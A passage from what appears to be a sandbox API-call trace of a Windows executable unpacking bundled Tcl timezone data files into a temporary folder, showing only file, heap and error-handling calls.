hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.109] CloseHandle (hObject=0x10c) returned 1 [0039.109] GetLastError () returned 0x0 [0039.109] SetLastError (dwErrCode=0x0) [0039.109] GetLastError () returned 0x0 [0039.109] SetLastError (dwErrCode=0x0) [0039.109] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.109] GetFileType (hFile=0x10c) returned 0x1 [0039.109] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.109] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.109] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.109] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.110] CloseHandle (hObject=0x10c) returned 1 [0039.110] GetLastError () returned 0x0 [0039.110] SetLastError (dwErrCode=0x0) [0039.110] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.110] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.110] GetFileType (hFile=0x10c) returned 0x1 [0039.110] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.110] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.110] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.110] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.111] CloseHandle (hObject=0x10c) returned 1 [0039.111] GetLastError () returned 0x0 [0039.111] SetLastError (dwErrCode=0x0) [0039.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.111] GetFileType (hFile=0x10c) returned 0x1 [0039.111] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.111] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.111] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.111] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.111] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.111] CloseHandle (hObject=0x10c) returned 1 [0039.111] GetLastError () returned 0x0 [0039.111] SetLastError (dwErrCode=0x0) [0039.111] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima") returned 69 [0039.111] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\lima"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.111] GetLastError () returned 0x2 [0039.111] SetLastError (dwErrCode=0x2) [0039.111] GetLastError () returned 0x2 [0039.112] SetLastError (dwErrCode=0x2) [0039.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima", lpFilePart=0x0) returned 0x44 [0039.112] GetLastError () returned 0x2 [0039.112] SetLastError (dwErrCode=0x2) [0039.112] GetLastError () returned 0x2 [0039.112] SetLastError (dwErrCode=0x2) [0039.112] GetLastError () returned 0x2 [0039.112] SetLastError (dwErrCode=0x2) [0039.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima") returned 69 [0039.112] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Lima" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\lima"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.112] GetFileType (hFile=0x10c) returned 0x1 [0039.112] htonl (hostlong=0xbf010000) returned 0x1bf [0039.112] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.112] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1bf, lpOverlapped=0x0) returned 1 [0039.113] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.113] CloseHandle (hObject=0x10c) returned 1 [0039.114] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506e0 | out: hHeap=0x530000) returned 1 [0039.114] htonl (hostlong=0x30000000) returned 0x30 [0039.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.114] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.114] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.114] GetFileType (hFile=0x10c) returned 0x1 [0039.114] htonl (hostlong=0xf67e5900) returned 0x597ef6 [0039.114] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e2ef6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.114] htonl (hostlong=0x6070000) returned 0x706 [0039.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x706) returned 0x55e278 [0039.114] htonl (hostlong=0x6070000) returned 0x706 [0039.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.114] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.114] htonl (hostlong=0xc1240000) returned 0x24c1 [0039.114] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24c1) returned 0x561090 [0039.115] htonl (hostlong=0x6070000) returned 0x706 [0039.115] htonl (hostlong=0xc1240000) returned 0x24c1 [0039.115] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563560 [0039.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563560 | out: hHeap=0x530000) returned 1 [0039.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.115] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.115] CloseHandle (hObject=0x10c) returned 1 [0039.115] GetLastError () returned 0x0 [0039.115] SetLastError (dwErrCode=0x0) [0039.115] GetLastError () returned 0x0 [0039.115] SetLastError (dwErrCode=0x0) [0039.115] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.115] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.115] GetFileType (hFile=0x10c) returned 0x1 [0039.115] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.115] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.115] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.115] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.116] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.116] CloseHandle (hObject=0x10c) returned 1 [0039.116] GetLastError () returned 0x0 [0039.116] SetLastError (dwErrCode=0x0) [0039.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.116] GetFileType (hFile=0x10c) returned 0x1 [0039.116] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.116] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.116] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.116] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.116] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.116] CloseHandle (hObject=0x10c) returned 1 [0039.116] GetLastError () returned 0x0 [0039.116] SetLastError (dwErrCode=0x0) [0039.116] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.117] GetFileType (hFile=0x10c) returned 0x1 [0039.117] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.117] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.117] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.117] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.117] CloseHandle (hObject=0x10c) returned 1 [0039.117] GetLastError () returned 0x0 [0039.117] SetLastError (dwErrCode=0x0) [0039.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles") returned 76 [0039.117] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\los_angeles"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.117] GetLastError () returned 0x2 [0039.117] SetLastError (dwErrCode=0x2) [0039.117] GetLastError () returned 0x2 [0039.117] SetLastError (dwErrCode=0x2) [0039.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles", lpFilePart=0x0) returned 0x4b [0039.117] GetLastError () returned 0x2 [0039.117] SetLastError (dwErrCode=0x2) [0039.117] GetLastError () returned 0x2 [0039.117] SetLastError (dwErrCode=0x2) [0039.117] GetLastError () returned 0x2 [0039.117] SetLastError (dwErrCode=0x2) [0039.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles") returned 76 [0039.118] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.118] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Los_Angeles" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\los_angeles"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.119] GetFileType (hFile=0x10c) returned 0x1 [0039.119] htonl (hostlong=0xc1240000) returned 0x24c1 [0039.119] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.120] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.120] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x4c1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x4c1, lpOverlapped=0x0) returned 1 [0039.120] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.120] CloseHandle (hObject=0x10c) returned 1 [0039.121] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.122] htonl (hostlong=0x40000000) returned 0x40 [0039.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.122] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.122] GetFileType (hFile=0x10c) returned 0x1 [0039.122] htonl (hostlong=0xfc855900) returned 0x5985fc [0039.122] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e35fc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.122] htonl (hostlong=0x91000000) returned 0x91 [0039.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0039.122] htonl (hostlong=0x91000000) returned 0x91 [0039.122] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.123] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.123] htonl (hostlong=0xdf000000) returned 0xdf [0039.123] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdf) returned 0x550600 [0039.123] htonl (hostlong=0x91000000) returned 0x91 [0039.123] htonl (hostlong=0xdf000000) returned 0xdf [0039.123] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.123] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.123] CloseHandle (hObject=0x10c) returned 1 [0039.123] GetLastError () returned 0x0 [0039.123] SetLastError (dwErrCode=0x0) [0039.123] GetLastError () returned 0x0 [0039.123] SetLastError (dwErrCode=0x0) [0039.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.123] GetFileType (hFile=0x10c) returned 0x1 [0039.123] GetCurrentDirectoryW (in: 